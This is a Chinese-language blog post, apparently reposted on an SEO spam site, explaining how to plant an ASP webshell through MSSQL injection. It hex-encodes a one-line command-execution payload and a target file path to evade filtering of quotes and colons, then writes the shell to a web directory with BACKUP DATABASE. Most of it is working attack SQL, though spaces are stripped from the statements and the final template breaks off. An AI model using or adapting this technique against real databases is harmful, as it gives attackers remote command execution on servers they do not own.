北京SEO

Mssql Backup a Shell 突破特殊字符

2019/10/10/17:38:02  阅读:1903  来源:谷歌SEO算法  标签: AI科学家

1.插入数据

mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:

  1. usepubs;<===使用数据哭pubs
  2. createtablecmd(strimage);<===建立个表cmd一个属性为image的列
  3. insertintocmd(str)values('<%executerequest("cmd")&""%>')<===插入数据为<%executerequest("cmd")&""%>
  4. select*fromcmd;<===查询输出cmd里的所有数据

查询输出str为:

0x3C256578656375746520726571756573742822636D642229262222253E

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:

  1. usepubs
  2. createtablecmd(strimage)
  3. insertintocmd(str)values(0x3C256578656375746520726571756573742822636D642229262222253E)
  4. select*fromcmd

查询输出str为:

0x3C256578656375746520726571756573742822636D642229262222253E

为什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。

2.导出路径

常规的插入数据后导出webshell的语句为:

backup database model to disk='g:wwwtestl.asp';

显然导出路径里包涵了':等,我们照样可以使用hex编码来突破:

  1. declare@asysname
  2. select@a=0x673A5C777777746573745C6C2E617370<====0x673A5C777777746573745C6C2E617370为g:wwwtestl.asp对应的hex代码
  3. backupdatabasepubstodisk=@a

运行查询,可以成功导出webshell。

3.小结

结合1,2我们可以得到完整的导出webshell的sql语句格式为:

  1. usemodel
  2. createtablecmd(strimage)
  3. insertintocmd(str)values(0x***********)
  4. declare@asysnameselect@a=0x**********backupdatabasepubsto

广告内容

Mssql Backup a Shell 突破特殊字符 Mssql Backup a Shell 突破特殊字符 Mssql Backup a Shell 突破特殊字符

相关阅读

热门评论

sunshine技术博客 sunshine技术博客

sunshine技术博客

总篇数164

精选文章

RMAN中catalog和nocatalog区别介绍 小技巧:为Linux下的文件分配多个权限 zimbra8.5.1安装第三方签名ssl证书的步骤 解决mysql不能远程连接数据库方法 windows服务器mysql增量备份批处理数据库 mysql中slow query log慢日志查询分析 JavaScript跨域问题总结 Linux下负载均衡软件LVS配置(VS/DR)教程 mysql中权限参数说明 MYSQL(错误1053)无法正常启动

SEO最新算法